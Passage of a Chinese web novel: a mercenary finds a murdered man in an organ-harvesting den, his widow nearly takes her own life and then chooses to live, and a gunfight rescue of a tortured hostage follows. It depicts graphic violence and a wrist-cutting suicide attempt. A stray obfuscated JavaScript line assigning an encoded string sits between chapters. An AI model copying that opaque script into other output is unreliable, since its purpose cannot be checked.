空气之中弥漫着血腥的气味,昏暗的灯光照在手术台上,无情的双手正拿着手术刀榨取着一个又一个受害者的价值。压抑的气氛笼罩在这间屋内,笼罩在殇的心头上。这屋内很安静,安静的瘆人,只能听到血液一滴一滴滴在地面上的声音。地上干涸的血迹证明了这里的残酷,与清理者们对待受害者的无情。 见到殇的到来,那几位女清理者赶忙放下手里的手术工具,举起双手投降。殇随手拿起地上的一把扳手,然后用扳手指着那些女清理者说道: “疯子!你们都他妈的是一群疯子!” 殇拿着扳手往前走了两步。见此,其中一个女清理者对殇说道: “大哥!你要什么我们都给你!求求你,不要杀我们。” 听到这话,殇笑了笑,回应道: “好啊。你说的啊!” 殇往后走了几步打开了房门,然后对那些女清理者说道: “除了那个向我求饶的女人以外,现在都他妈的给我出去!” 这些女清理者点了点头,然后举起双手从殇身旁走过,离开了这间屋子。现在,只剩下了殇和那位先开口的女清理者。殇关上门,用扳手指着她,语气强硬地询问道: “你们把抓来的人都藏哪里去了?” 这位女清理者很害怕,她的双腿忍不住地在发抖。她很紧张地回答道: “都......都藏在了冷冻间。” “冷冻间?在哪里?” “穿......穿过我身后的大门,走过一个房间,接着就是冷冻间。” “去哪里需要钥匙吗?” “不需要。我们都是直接打开取货的。” 殇往前走了几步,用扳手指了指桌子上存放着人体器官的玻璃储罐,接着问她: “这些,是怎么回事?” “这......这些......都是货物,都是卖钱的东西。你要是想要......你可以......” “不!老子才不要这些东西!” 殇突然打断了她。接着殇用强硬的语气质问她: “你们做这种肮脏至极的烂活就不会觉得难受呢?!不会恶心吗?!!” “不......不会。” “为什么?!” “这是我们赖以生存的生存技巧,这是我们活下去的方式。” 殇冷笑了几声,他觉得眼前的景象荒诞至极。他接着咬牙切齿地说道: “这就是你们的生存方式吗?如蛆虫一样......恶心!” 殇往地上吐了口痰,大声喊道: “恶心!真他妈的恶心!” 那名女清理者叹了口气,很委婉地说道: “像就像吧......能活着,就已经很幸运了。与其在无人区内等死,还不如来这里谋求生路。无论干什么,对于我们来说能活下去就可以了。” 听到她这么说,殇的愤怒消逝了许多。他低着头叹了口气,然后冷静地思考着这一切。片刻之后,他抬起头很严肃地对她说: “既然如此,那我也不好多说什么。我呢,该完成什么就完成什么。你带我去冷冻间,我要找一个人。” 那名女清理者点了点头,然后带领着殇来到了冷冻间之中。为了确保自身的安全,殇要求她也必须跟着他去到冷冻间之中。那名女清理者没有拒绝,她点头同意了。 在冷冻间中,许多受害者如同一块冻肉一般放在冰冷的金属货架上。每个受害者都整齐地平躺在金属货架上,仿佛他们是睡着了一样,但他们脖子上的划痕,证明了他们已经死去的事实。寒意袭来,殇打了个喷嚏。殇搓了搓手,然后问一旁的女清理者: “都在这里吗?” 女清理者点了点头,回答道: “都在。” 殇拿出手机,按照照片上的样子一个一个地找。他找遍了这里,最后没能找到他要找的人。不知何时,他的身上多了一层薄薄的霜,在一旁的女清理者的身上也是如此。女清理者冻得有些发抖,她流出了鼻涕,接连打了两个喷嚏。殇不是这样,他只觉得身上热乎乎的,寒冷仿佛被他体内的热血给阻隔住了。但他此刻,依旧觉得寒冷,冷得令他感觉身入冰河。 殇走到了女清理者的面前,询问道: “你们这里还有放人的地方吗?” 女清理者边哆嗦边托起下巴思考,寒意让她的思维变慢了许多。十几秒之后,她缓缓开口回答道: “有......不过......” 说到此处,她突然不说了。她的心跳加速,面容紧张,似乎在逃避接下来的对话。片刻之后,她重新开口继续说道: “那个地方你不会想去的......” 听到她这么说,殇很好奇地问道: “为什么?难不成那里有着什么见不得人的秘密?” 女清理者深吸了一口气,接着冷冷地说道: “那里是存放‘废料’的地方。” 几分钟后,女清理者带着殇来到了一扇黑色的铁门前。女清理者全身在止不住地发抖,她的手缓缓放在了门把手上,然后她用力去推门。无论她怎么用力去推门,但门丝毫不动。殇见此一把推开她,然后一脚直接踹开了这扇黑色的铁门。 刹那间,一股难闻的恶臭从门后飘来,伴随着血腥的气味。殇捂住了鼻子,这种恶习的气味让他快要吐出来了。一旁的女清理者从口袋里拿出口罩带上,但这口罩不能完全阻挡这恶心的味道,女清理者的脸色十分难看。 殇: “(屏息)卧槽!这味道,真他娘的难闻。” 顶着这股难闻的气味,殇和女清理者一起走进了铁门之后的房间。 阴霾笼罩在这里,天花板的灯忽明忽暗。这里的光线有些昏暗,角落处有着些许黑暗。放眼望去,房间内的一切都呈现着一种诡异的浅红色。在房间的中间,是一座由尸体堆成的小山。在忽明忽暗的灯光与诡异红色的渲染下,这座小山看着令人毛骨悚然,不寒而栗。令人作呕的气味就从这座小山中扩散开来,整个房间里面充斥着这种气味。看着这座小山,殇惊呼道: “我的个老天爷啊!” 他不意外这里能有这样的景象,但假想成为现实的恐惧,还是令他后背发凉。他看着这座小山,心情许久难以平静。不知为何,他感到了害怕。怕什么?他不知道。无名的恐惧涌上了他的心头。片刻之后,他缓缓开口问一旁的女清理者: “这堆里有多少人?” 那名女清理者冷冷地回答道: “27人。还有昨天处理时剩下的......” 殇皱紧眉毛摇了摇头。紧接着,他顶着难闻的气味走到了这堆尸体旁,然后他开始在尸体堆里一个一个地对照,一个一个地找。最后,在这堆尸体的上面,他找到了已经面目全非的目标人物。他被开膛破肚取走了体内的一切器官,若不是他身上穿着的那件西装,殇压根就找不到他。殇抱起这具尸体,很深情地看了看他的脸。迟了,一切都迟了。 殇: “(气愤)操!我他妈......来晚了。” 殇抱起这具尸体,从尸体堆上走下。他的表情十分严肃,他在以这种方式送别这位素不相识的人。殇走到那名女清理者面前,用恶狠狠的语气命令她: “把本属于这个人的一切都给我还回来!立刻,马上!” ...... 中午时分的阳光十分耀眼,如海般蔚蓝的天空中没有几朵云彩。炽热的阳光无情地照在这片土地上,炙烤着这片土地。滚滚热浪如无数匹野马一样在这片土地之上奔腾,沿路留下一片夏天的气息。殇抱着一具被缝合好的尸体从囚渊的老巢中走了出来,迎着灼热的阳光与热浪。他抬头看着天空,一两只乌鸦飞过天边啼鸣了两声。他低下头看着怀里的尸体,心中满是愧疚。他缓缓走下台阶,一步一步地慢慢走,没有往日的急躁。 当他走到指定的接应地点时,埃罗微笑着从他的车边跑向了殇。突然,他停了下来,同时他脸上的笑容也消失了。他看到了殇怀里的尸体,他明白此次行动以失败告终了。埃罗慢走了几步,上前说道: “哥......该回去了。” 殇: “(难过)我知道。——任务失败了。很抱歉,我们两个应该是一分钱也捞不到了。” 埃罗: “(摇摇头)哎......惨啊,真惨啊!好不容易......哎......又一个家庭碎掉了。” 接下来,殇将这具尸体小心翼翼地放在了车的后座,然后坐到了副驾驶处等待埃罗上车。埃罗并未着急上车,他先打开后门深情地看了一眼这个男人的尸体,他小声地嘀咕了一句,然后关上后门,走到驾驶位旁边的车面前,打开车门上了车。 “que tengas una vida feliz en el cielo,hermano.(愿你在天堂过上幸福的生活,兄弟)” 埃罗发动了汽车,驶上了回城的道路。 ...... 殇抱着尸体来到了雇主预定的见面地点。雇主见到殇回来了,心有担心地问道: “怎么样?他还活着吗?” 见到雇主眼神之中的点点希望之光,愧疚涌上他的心头。殇叹了口气,接着心怀愧疚地说道: “抱歉,姑娘。我没能救下他。那群该死的畜生杀死了你的丈夫。” 听到这话,她有些不敢不相信。她小跑两步凑到了殇前面,下一刻,她看清了眼前的事实。当雇主她看到殇怀里这具冰冷的尸体的时候,她先是愣了一下,在几秒钟过后,接着苦笑着轻轻地摇了摇头,泪水顿时从她的眼角慢慢淌了下来。虽然她早已料到了此等结局,但她还是没能控制得住自己的情绪。她从殇怀里抢过她丈夫的尸体,然后抱着这具冰冷的尸体痛哭流涕。在一旁的埃罗和殇见此都忍不住为她的丈夫哀悼。 “都说了几次了!别在晚上喝酒,别在晚上喝酒!你非得不听!非得不听啊......你怎么能抛下我们娘俩先走呢?!你还没看到你孩子出世呢!你还答应我要让我们娘俩过好日子呢!不说好了白头偕老吗.......” 她边哭边喊道。她喊得撕心裂肺,让埃罗和殇的心里很不好受。埃罗叹了口气,说道: “哭吧,妹子。把心里的委屈和难受都说出来吧。” 殇想开口说些什么,但那些话他迟迟未说出口。殇此刻感觉到十分地愧疚与难受,他有能力去能救下她的丈夫,但他最后还是没能做到。殇走到她的身旁,心有愧疚地安慰道: “节哀,妹子。抱歉,我还是来晚了一步啊......” 虽然殇没能完成委托,但身为雇主的她并未责怪殇,她只是摇摇头,告诉殇没关系的。她的那种坦然大方,让殇心中的愧疚更深了一层。在她哭红了双眼之后,她也渐渐接受了现实。这时,她从包里拿出了那298块钱,然后按照流程将钱递给了殇。 看着这笔钱,殇慢慢伸出了手,想要去接。但不知怎么的,他的手怎样都碰不到这笔钱。片刻之后,殇用手抓住了这笔钱,但他迟迟没有将钱从她手中拽过来。慢慢地,他松开了手,接着对着天空长叹了一口气。虽有心中的私念,但他仍选择了拒绝。见到殇此举,她很是不理解。明明这里的每个人都很贪婪,为了金钱可以触犯一切法则的底线,为了金钱可以去残杀每个被标为“有罪者”的人!她亦是如此,殇也应该也是如此。但他,却没有那么去做。殇走到她的身旁,用他那饱经风霜的大手轻轻拍了拍她的肩膀,并对她坦然地说道: “这笔钱,你就好好留着吧。没了丈夫,你们娘俩的生活一定会很难。有了这笔钱,你们过得会轻松一些。不用跟我说那些有的没的,那些道理老子都明白。我和你们一样,都知道挣钱不容易......” 听到殇的这番话语,她感觉到了前所未有的感动,一阵温暖涌上她的心头。在一旁的埃罗忍不住为殇竖起了大拇指,他从未想过会有人能有如此气概。他从殇的身上,看到了一种真男人才具有的气概。殇的神色十分坚定,他丝毫没有后悔的意思。 她沉默了几秒,她的眼神注视着面前的殇。殇的身影,此刻在她眼里如同高山一般雄伟。她低下头来,喃喃地说道: “谢谢......” 听到她这番话语,殇笑了笑,接着用温和的语气对她说: “妹子,无论怎样。好好地活下去......为了你和你的丈夫。毕竟,生活还得继续。” 之后,殇和埃罗帮着她安葬了她的丈夫。她的丈夫葬在了铁墙旁一个偏僻的公墓之中。这里的公墓“人满为患”,几乎再也塞不下任何一个已逝者的身躯。命运还是很仁慈的,公墓内正好还有几个没有卖出去的坟地。她花了两百块买下了现今最贵的那块墓地,以此来表达她对她丈夫深深的爱意。殇和埃罗用铲子挖出一个墓坑,然后将她丈夫的尸体放在了墓坑中。她为她已逝去的丈夫买了束百合花,并将这束百合花放在了他丈夫的手中,让他握着这束百合花。在做好一切该做的事之后,殇和埃罗用铲子将一铲铲的土都填入了墓坑。 伴随着最后一铲子的土埋入墓坑,她的丈夫永远长眠在了这里。 当殇和埃罗走出公墓的时候,殇听到守墓人苦笑了一声。殇本想转过头去说些什么,但他没能开口。接着他看到守墓人点了根烟,吸了口烟后摇摇头感叹道: “哎......又是一对不幸的情侣啊。操!老天真是瞎了眼啊......放任苦痛于人世间肆虐。苦痛从未停止啊......” 这句话,让殇铭记在心里,引得他不禁开始深思。 ...... 回到城市后。出于对殇的敬佩,埃罗主动邀请殇去喝酒。殇碍于面子拒绝了,但在自身经济不富裕再加上埃罗的热情邀请下,他还是答应了。 今天的东城如往日一样,喧闹之中渗透着鲜血的味道。日复一日,年复一年。对于这里的人来说,最大的威胁不是疫病,而是人性之中的欲望与贪念。不知何时,这种局面才会迎来改变....... ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第九话:救人 此时,已是夜幕时分。在东城的一座公寓的不起眼的房间内,一个悲伤的女人正在啃着手中的青苹果。她艰难地咽下了她啃得每一口苹果,伴随着青苹果的酸以及她心中的苦楚,她感觉到内心的惆怅与悲伤更加深重。她的双眼早已哭得血红,她眼角的泪早已流干,此刻的她仿佛尝尽了生活的所有苦楚。刚刚经历丧夫之痛的她,此时已经放弃了所有生活下去的信念。 吃过苹果之后,她走到了浴室之中。看着浴室之中的浴缸,她做好了接下来的打算。她打开水龙头,往浴缸里面灌了一半的水。接着她从厨房拿来一把水果刀,然后她直接坐在浴缸里,拿起水果刀准备结束自己的一生。在开始这一切前,她对着自己肚中还未出世的孩子说道: “对不起,宝宝......我不能带着你继续生活下去了......我真的承受不住这些压力了!我看不到未来!我看不到希望......抱歉,宝宝.......我真的不是一个好妈妈......” 她说完这些之后,忍不住抽泣了几声。她用颤抖的手握着水果刀,接着让刀刃慢慢接近自己的手腕。儿时的欢乐、年少时的轻狂、长大后的沧桑、遇到挚爱后的幸福、失去一切后的迷茫与惆怅如同走马灯一般都浮现在她的眼前。她的一生太过于短暂,连她自己也这么觉得。刀刃抵在了她的手腕上,她的心扑扑的跳着,她的手猛烈的颤抖着,生与死的界限,此刻展现在了她的眼前。接下来是生是死,全由她来决定。她深吸了一口气,深情且疲累地说道: “再见,这个世界......” 她闭上了眼睛,做好了心理准备。一秒过后,两秒过后,三秒过后......过了几秒,她手中的刀始终没有划开她的手腕。在那几秒之中,她突然回想起了那个名叫殇的男人。虽然只有一面之缘,但他对她说的话让她感觉到了前所未有的温暖。 那种温暖虽然没有烈焰一般灼热,但却在她心中冰封已久的冰川上融出了一道微小的裂缝。这道裂缝虽然很小,但是这裂缝的深处早已贯穿了冰层,让一丝光明照进了她的内心。在这道裂缝的旁边,是一个更加巨大的裂缝。这道裂缝是她丈夫的爱所融化开来的,裂缝的深处也早已贯穿冰层。 她回想起了自己与丈夫的美好回忆、回想起了两人热恋时的甜蜜、回想起了刚有孩子时的喜悦、回想起了两人一同向梧桐树所许下的诺言...... 渐渐地,这两道裂缝之间出现了第三条裂缝,这条裂缝不断变大,最后与这两道裂缝一起形成了一个巨大的裂隙。光透过裂隙照进了她的内心,虽不能祛除她心中的寒意,但能温暖她的一片新田。 她放下了手中的刀,接着掩面痛哭。想着她腹中未出世的孩子,她心里既愧疚又欣慰。突然间,她觉得自己又有了继续生活下去的理由。那些诺言已经无法兑现,但无可替代的,爱意的结晶将是超越诺言的如一珍宝。即便这结晶深处泥潭,但爱的气息仍永不断绝。 ...... 此时,伊在奶茶店门口等了殇许久,都不见殇的到来。她有些着急,害怕殇出了什么事。等待的过程是很无聊的,伊站在奶茶店门口左顾右盼,苦苦等待。街边的人影快速闪过,马路上的汽车快速驶过,时间在此刻仿佛加速了一样。期间她试着给殇打电话,但电话那头显示对方已经关机。见此,伊更加着急了。半个多小时过去了,伊始终没有见到殇的身影。伊等得有些不耐烦了,她吐槽了两句,然后继续等待。就在这时,伊注意到远处的龙辉神匠的高塔上方探照灯集体打开了,同时许多悬浮车出现在了街道的上空,仿佛是在迎接某个大人物的到来。 就在这时,伊的左侧传来了殇的声音。她转头一看,发现殇从埃罗的车上走了下来,正对着她招手。见到殇没事,伊松了一口气,她的脸上浮现出了笑容。殇一路小跑来到了她的面前,然后有些尴尬地对伊说道: “额......今天出了点事,来晚了。你等了有大半天了吧。” 伊撅起了嘴,轻皱眉毛,对他说道: “殇!你到底干嘛去了?我等你等得腿都站麻了。” “这......说来话长。” “哎......你人没事就好了。话说,你到底去处理怎样的委托去了?为什么我一天都没见到你的人影呢?” “我啊......实际上只不过单挑了一百个人而已。” 殇看向一旁在车边站着的埃罗,转过头来继续说道: “实际上应该是一百多个......” “单......单挑?一百多......人?” “没错。” “你开玩笑的吧!殇。” 殇表情立刻严肃起来,然后反问道: “你看我是像开玩笑的样子吗?” 伊仔细看了看殇那严肃的表情,接着说道: “是哦。你这也不像是开玩笑的样子。——那你这么厉害的吗?!殇。” 殇用左手大拇指指着自己,接着摆出了一副神气的样子回应道: “那可不是!我的实力超乎你想象。” 见到殇如此,伊点了点头以表赞同。就在这时,殇的身后突然传来了一个女人不服气的声音。 “少吹牛了!你这个外乡人。” 殇和伊一同看向了刚刚说话的那个女人。她此时正靠着埃罗的车,一脸严肃地看着殇和伊。 她有着一头红色的长发,以及一双有神的眼睛。她嘴里叼着一根小草,身穿一身黑色的摩托车党的黑色制服,背后背着一把灰色的长刀。路灯下,她的一头艳红色长发随风飘扬,她背后的长刀刀锋之上浮现出点点红色光辉,看着有一种西部猎人的感觉。灯光映照在了她洁白的皮肤上,她的棕色瞳孔中散发着警惕与敌意。在她的左脸上,有着一道深深的烙印...... 几个小时前...... 在吃下午饭的过程中,埃罗与殇聊天的时候无意间聊到了自己的女朋友查尔拉。当提到查尔拉的时候,埃罗面露难色。殇问发生何事,埃罗虽有不情愿,但还是一五一十地告诉了殇。 查尔拉背后的斯特迪罗家族与一伙叫做“爪牙与野犬”的帮派在领地划分上产生了冲突,作为斯特迪罗家族的姑娘,查尔拉主动担任了调解人,然后与这个帮派预定在郊区进行和谈。但没想到,这伙帮派突然一夜之间换了领导人,接着这位新的领导人就设伏抓住了查尔拉,并以此为要挟逼出斯特迪罗家族的传奇血浸玫瑰出面解决此事,想以此来提升自己帮派的知名度。当埃罗知道此事的时候,已经是查尔拉被抓走后的第六个小时了。那段时间也就是今天在等待殇从囚渊老巢出来的那段时间。 埃罗告诉殇自己想要在今天就救出自己的女朋友查尔拉,但是光凭自己一个人的力量根本做不到这件事,于是他想花钱去雇佣殇帮他救出查尔拉。 埃罗: “哥。我给你一百块,你和我一起去野犬老巢去救我的宝贝,如何?” 说完,埃罗就把钱放在了桌子上。他指着这一百块钱说道: “这一百是我辛辛苦苦攒了老久的私房钱。你看这......能劳烦你帮忙吗?大哥。” 殇看了看这一百块钱,上面的褶皱很深,看起来在一个地方被长时间挤压很久了。殇并没有要这笔钱,不是出于这笔钱褶皱太多,而是出于他对埃罗这个朋友的认可。他想帮埃罗这个忙,他会帮埃罗这个忙。 殇: “不必了。看在你是我进东城认识的第一人的份上,这个忙我帮!” 埃罗: “(鼓掌)好嘞!谢谢哥。” 于是乎,埃罗和殇在饭后去到了饭店周围的一个很隐秘的小巷子里策划起了营救查尔拉的计划。埃罗给他的线人打了个电话,问到了野犬那伙人所处大致位置与他们所处地的大致样子。打过电话之后,埃罗告诉了殇这些有用的信息。殇很有作战头脑,仅凭着埃罗的口头描述,他就脑补出了野犬那伙人的基地的大致内部结构,而且制定了三个路线不相同的作战计划。殇心底想直接正面闯进去,但考虑到埃罗并非像自己一样强大,所以他选择了一条绕后的潜伏路线。埃罗对他的计划没有任何意见,对于他来说,只要能救出他的心肝宝贝查尔拉,即使是正面突破,他也一点意见没有。 在准备行动前,埃罗叫住了殇。 殇: “(好奇)有什么事吗?” 埃罗: “哥。有件事可能我没跟你说过......” 殇: “(好奇)什么事?” 埃罗解开大衣上的扣子,亮出了他藏在大衣内侧的两把手枪。埃罗拔出这两把手枪,然后告诉殇: “事实上,当初拉你们进城的时候。我欺骗了你们两个。事实上,我逃避UppF不是因为那么荒唐的事情。虽然现实中也有类似的......” “所以你想告诉我什么?” “我当初啊,实际上是因为开枪杀了人,我才会出城躲避一阵子的。” 殇稍稍有些惊讶,但他的神色上并未表露出这点。他好奇问道: “你杀的是好人还是坏人?” “坏人。一个无可救药的混蛋。他杀了我女朋友的表妹,而且还.......哎,一言难尽。反正就是坏事做遍,无可救药!” “杀人是不对的。但是吧......听你这么说,他不算是人。” “说得对,老哥。” 埃罗将这两把手枪藏回大衣之中,接着很郑重地对殇说: “老哥。重新自我介绍一下,我叫埃罗。我还有个别称,叫‘致命双枪’。我是这一带算是有名的人物。大概.......” 殇托起下巴仔细思索了半秒,然后点了点头表示认可。接着说道: “从你那两把与众不同的枪之中就能看得出来。你不是一般的人。而且据我所知,枪这个东西在这个国家可不多见。” “没错。枪这个东西确实不多见。我这两把枪,是我自己从一具调解人的尸体中弄来的。要不是因为那个倒霉的家伙惹了比他级高一等的收尾人,我还捡不到这个便宜呢。” 说完,埃罗从大衣里拿了其中一把手枪出来,然后像抚摸宝贝一样抚摸这把枪。见此,殇心生疑问,他问道: “那么,子弹从何而来?” 听到殇这么问,他拔下弹匣,从弹匣中拿出了一颗粗制的子弹。他拿着这颗子弹,对殇解释道: “这些都是黑市工坊的粗制子弹,都是黑枪匠打造出来的宝贝。一盒几十块钱呢!市面上那些正规的弹药都是好几百起步,都是要了老命的大宝贝!我啊,只能用这些黑子弹。毕竟我的实力就摆在那里。” “那么这种子弹威力如何?能做到七步以内快枪夺命吗?” 埃罗将这颗子弹扔向空中,然后一把抓住,接着说道: “能是能......但还得多打一枪。毕竟是黑子弹,威力比正品还是要差许多的。但对付正常的人,还是绰绰有余的。” “哦?那挺不错。起码能做到防身与进攻。——对了,我想在接下来的行动中看看你这个‘致命双枪’的实力,看看你到底强不强。” 埃罗笑了笑,然后自愧不如地叹了口气,接着说道: “哎......咋强都没你强啊。” “可别这么说。实力这东西,每个人有的都不尽相同。有人强,就会有人弱。只要能保护得了周围所值得保护的人,尽管弱小,也能体现得出强者的风范。” 埃罗笑了笑,点了点,赞扬道: “不愧是你啊!哥。说起话来就比我强上不少。——你说的挺对,只要能保护好周围值得保护的人,对我来说就已经知足了。” 埃罗看了看时间,然后对殇说道: “时候不早了,我们该行动了。” 殇点了点头,然后和埃罗一起离开了这个巷子。 ...... 半个多小时后,在一座位于郊区外围的废弃工厂外围,两个身着古怪潮流服饰的男子正在悠闲地吸着烟,放松心情。吸着吸着,突然就被人遏住了脖子,接着他们的视线就归为了黑暗。 在放倒两人后,埃罗和殇打量了一番周围,他们发现周围的油桶堆后面可以藏人。于是,他们将这两名昏倒了的男子藏在了汽油桶后面。做完这一切后,殇和埃罗就悄悄来到了工厂外围平台上,接着推开平台内的门,悄悄地潜伏进了这座工厂。 到了工厂的内部,埃罗和殇小心翼翼地在工厂内前进,寻找着查尔拉的下落。为了应对随时可能出现的战斗,埃罗掏出了大衣里藏着的双枪。见到埃罗如此,殇变出了之前的能量连弩。 埃罗和殇在工厂内小心翼翼地穿梭着,时刻躲避着野犬帮派分子的视线,防止被发现。当殇和埃罗悄悄走到一扇木门前的时候,殇听到了木门后的嘈杂声。殇拉住了一旁的埃罗,用手示意他不要出声。接着,他和埃罗轻轻贴在木门上偷听着木门后的声音。 “杠!东风......白条......胡啦!” “操!你这瘪三是不是他妈的出老千了?” “出老千?妈的,是不是玩不起了?” 殇往后退了一步,小声对埃罗说: “里面貌似是个打麻将的地方。多听会,也许能听到些重要的消息。” (诶,你怎么回事?玩不起是不?) 埃罗眼神示意,接着殇继续贴在门上偷听。 “不来了!老子今天手气不好。等哪天老子手气好的,保证把你赢得裤衩都不剩!” “得了吧,你就能吹。” 这时,一阵微小的脚步声从木门后传来,接着一个男人用粗犷的声音对门后的众人说道: “三把手,那个女的死活不说!就是拿火钳烫脸也是一口也不说。” “啥?!不说?行,不说是吧。不说就拿钳子剪断她的手指!” “知道了,三把手。我这就去办。” 此刻,听闻这些的埃罗,心中的怒火一下子就涌了上来。他握紧了自己的拳头,他的手臂上的青筋暴起。他很愤怒,咬牙切齿,眼中充满了杀意。殇看出了这点,他按住了埃罗的肩膀,摇了摇头。埃罗抿了抿嘴,试着压抑自己心中的愤怒。这时,殇竖起食指,指了指埃罗,又用大拇指指了指他自己。埃罗看明白了些什么,这似乎是暗号。殇向后摆了摆手,然后往后退了三步。埃罗瞬间明白了殇的意思,于是也跟着他往后退了几步。殇用手示意让埃罗做好准备,埃罗点头回应。接下来,殇和埃罗同时向这扇门冲去,接着,两人同时踢门,将这扇门直接踹开。 踹开门后,殇和埃罗用敏锐的眼光快速审视了一番屋内的状况。屋内的人很多,其中大部分都在一旁打牌。屋内的人员身上只携带了一些短刀,并未携带枪械,这点,让埃罗感觉到了一丝轻松。 突如其来的两人惊住了屋内的野犬帮派人员,这种情况他们始料未及。他们愣在了原地片刻,接着他们回过神来意识到这两人是敌人。想到这点,他们意识到了危险。接着他们一边抽出腰间的短刀,一边大喊道: “娘的!有敌人!” 没等他们做出行动,埃罗和殇就用手中的武器击倒了屋内的绝大多数人。埃罗的枪法十分地准,所有子弹都打中了他们,多数命中躯体。殇的准头也不赖,所有箭矢精确命中了他们的身躯。顷刻间,一片人排山倒海般的倒下。伴随着枪响与滋滋声,之前喧闹的打牌者们,几乎无一例外都躺倒在了地面上。一阵风过后,只剩得两人还站在原地。那个所谓的三把手,见此想要逃跑,但埃罗一枪打在了他的小腿上,让他没等逃跑就栽倒在了地上。另一人拿刀想要上前拼命,殇一个回旋直接用手中的连弩敲晕了他。 处理完这一切后,埃罗拿着枪走向了那个所谓的三把手。见到眼神之中充满杀意的埃罗,三把手连忙后退,并一脸恐惧地面对埃罗。此刻,埃罗健硕的身躯在三把手眼里宛如一头凶神恶煞的野兽,好像随时都能撕碎他一样。埃罗见此没多说什么,只是收起其中一把手枪,然后走到他的面前,抓住他的衣领一把把他拎了起来。接着埃罗很严肃地质问他: “你把那个红头发的姑娘关在哪里了?” 三把手很是慌张,说话变得结巴起来。 “关......关......关在5102号房间。” “你对她到底做了多少过分的事情?!” 面对埃罗的质问,三把手十分害怕地回答道: “我.....我们只是揍了她几顿.......然......然后在她脸上留了个深深的烙印......” 埃罗握紧了拳头,很愤怒地骂了一句: “?bastardo!hijo de puta.(混蛋,你这个蠢驴养的。)” 埃罗一拳打在他的脸上,打得他眼冒金星。随后,埃罗一把将他扔了出去。他砸在一面很硬的石墙殇,很狼狈靠在墙上看着埃罗和殇。埃罗很是愤怒,但他并未继续打下去。比起泄愤,他现在更想去救出查尔拉。埃罗拿出那把刚刚被收起的手枪,随即为手中的两把枪上满了子弹,接着神情严肃地对殇说道: “事不宜迟,我们得赶紧救出查尔拉!哥。” 殇看了看十分狼狈的三把手,随后看向埃罗,说道: “没错。走吧,我们去救你的女朋友。” 随后,埃罗和殇一起走出了这个房间,去往了走廊之中寻找所谓5102号房间。此时,埃罗和殇已经惊动了野犬的所有帮派成员,他们正在火急火燎地赶往殇他们那里,都抢着率先杀死入侵者,为了能够在帮派中有更好的地位。很快,就有一组人拿着各式各样的武器出现在了殇和埃罗眼前。他们嚷嚷着、咒骂着、迈着看似坚毅的步伐走向了埃罗和殇。他们心理是怕的,但在同伴之间的怂恿下,他们也就无所畏惧了。他们本以为殇和埃罗会害怕,所以他们的走,渐渐变成了奔跑。殇和埃罗慢慢迎面走向了他们,边走边用用淡定的目光直视他们。当他们距离殇和埃罗只有七步的时候,埃罗和殇瞬间改变原有的状态,立即做好了战斗的准备。 连续七声枪响过后,倒下了七个人。同时殇快手一拨,连续七支箭射了出去,又是七人倒下。面对这等仗势,后面的野犬帮成员们愣了一下,踌躇不前。从现在看来,他们的锐气被消减了大半。此刻,他们本想逃跑,但他们的身后传来了其他帮派成员的声音,这给了他们莫大的勇气与力量。他们对着殇和埃罗怒吼了一声,冲向前去准备与他们近身搏斗。埃罗和殇连续射击用子弹与弩箭击倒了他们,但接下来,更多的麻烦即将到来。为了赶快救出查尔拉,殇和埃罗选择了速战速决。能绕路就绕路,能少战斗就少战斗。资源与体力都是有限的。但面对眼前的敌人,他们不能选择逃避,只得面对。接下来,是一场苦战...... 一段时间后,在一个昏暗的房间之中。一位浑身是伤的红发女子正靠在椅子上颤抖着呼吸,她脸上的烙印让她咬紧牙关来忍受痛苦。她的表情有些痛苦,还有些难以下咽的怒意。她的手被铁链子牢牢地固定在了椅子上,她试着挣脱,但无济于事。她望着天花板发呆,思考着过去发生的事情。突然,房间的门被踹开了。灯光透过门框照进了屋内,耀眼的光芒照在了她的身上。在那道光芒之中,她看到了一个健硕的身影,一个让她感到可以依靠的身影。她的脸上随即浮现出了一抹笑容。他的到来,令她感到十分意外。她收起心中的惊喜,对着那个身影笑着说道: “老公!我就知道你会来救我的。” 那个身影自信地笑了笑,对她说道: “你永远可以相信我,宝贝。” 那个身影渐渐走近。她看清了他的脸,毋庸置疑,就是埃罗本人。埃罗见到她后,没多说一句话,先给她松了绑,同时还用温和的语气关心了她几句。见到埃罗这么关心她,她小脸一红,心里感觉一阵温暖。埃罗看了看身后正在与野犬二把手与一群野犬帮成员近身肉搏的殇,他明白留给他们的时间已经不多了。他转过头来,神色严肃地对面前的她说道: “时间不多了,我们该走了。宝贝。” 她点了点头,说道: “好!我们现在就离开这里。” 说完,埃罗和她一起离开了这个房间,与外面的殇汇合了。此时,殇已经用自己的武力撂倒了这周围所有的野犬成员,那些被撂倒的野犬成员正在地上痛苦地呻吟着。殇并未下死手,只是确保了他们不会再站起来而已。见到埃罗和查尔拉到来,殇即刻对埃罗说: “快走吧!我们没时间耽搁了。很快更多的野犬帮成员会赶过来的,到时候想走可没那么容易了。” 埃罗点了点头,然后领着查尔拉跟随殇一起向着工厂外面撤退。在撤退途中,查尔拉很好奇地问了下埃罗: “他是谁啊?” 埃罗: “(敬佩)他啊,是我大哥。是个老厉害的人了,一个人能打一群人呢!要不是他,我今天还真救不到你呢!” 查尔拉: “(怀疑)真的吗?你是不是在骗我?(严谨)我看他既不是协会成员,也不是都市猎人,还不是都市中的传奇,怎能捏?” 埃罗: “(微笑)这你就有所不知了,强者都喜欢低调的。” 查尔拉: “(疑惑)怪了,我以前从未见你对一个人这么敬佩过,就连那些都市之星你也是一视同仁。怎么到他,就变了呢?” 埃罗: “他用他的实力征服了我!” 查尔拉: “征服你?行啊,看样子遇到硬茬了。” 听到埃罗的话语,查尔拉嗅到了殇身上的强者气息,她心想: “看样子,他是个强者。嘻嘻嘻......我想大姐头一定会喜欢他的,与他交手,不知是何种的体验啊。我得赶紧把信息传达给姐,我想她一定会感到兴奋的。” 殇: “你们是不是在议论我?” 埃罗: “(微笑)没什么,我只是在想我的女朋友好好介绍你这个大人物。” 殇: “(从容)哦?那没事了。——还有,我不是什么大人物,我就是个路过这座城市的一位旅行者而已......” 之后,在混乱与战斗之中,殇和埃罗等人逃出了工厂。然后,他们坐上埃罗的车,一路驶向了城中心。 